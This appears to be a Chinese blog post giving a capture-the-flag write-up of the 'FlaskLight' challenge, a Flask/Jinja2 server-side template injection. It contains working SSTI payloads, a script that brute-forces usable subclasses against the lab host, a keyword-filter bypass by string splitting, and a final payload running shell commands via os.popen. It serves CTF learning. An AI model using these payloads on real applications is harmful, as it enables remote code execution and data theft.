[CSCCTF 2019 Qual]FlaskLight

 

根据题目很明显这个题目应该是SSTI类型的题目

加上它暗示你search for 于是尝试用get传参?search={{config}}

 

 

  出现了它的config信息说明这个是注入成功了。

于是开始利用漏洞

payload:找可利用的类

{{[].__class__.__base__.__subclasses__()}}

 

 

 当然payload里面的__base__也可以换成__bases__然后找到对应第几个是它的object类

{{[].__class__.__bases__[0].__subclasses__()}}

这两个是等价的

然后开始用脚本找具体是哪一个

脚本如下:

#查找可以利用的类
import requests
import time

# 可利用类的字典
list = ["site._Printer", "site.Quitter", "warnings.catch_warnings", "os._wrap_close", "popen", "Popen"]

for i in range(0, 1000):
    url = "http://3427ab2f-1aac-4e38-8be7-f2a6cd46e9d8.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
    time.sleep(0.1)
    r = requests.get(url)
    # print(res)
    # print(r.text)
    # print(r.text)
    for j in list:
        if j in r.text:
            print(i)
            print(j)
            break

 

 跑出来的结果,可以利用上面的任何一个来

首先是利用不含os的

比如说warnings.catch_warnings这个

{{[].__class__.__base__.__subclasses__()[59].__init__['__glob''als__']['__buil'+'tins__']['eval']("__import__('os').popen('ls').read()")}}

这个题目的__globals__被禁用了用引号拼接绕过

我尝试过用system发现回显的一直是个0所以我就用了popen

 

 最终payload:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo''bals__']['__buil''tins__']['eval']("__import__('os').popen('more /flasklight/coomme_geeeett_youur_flek').read()")}}

 

posted @ 2022-07-06 14:58  FPointmaple  阅读(58)  评论(0编辑  收藏  举报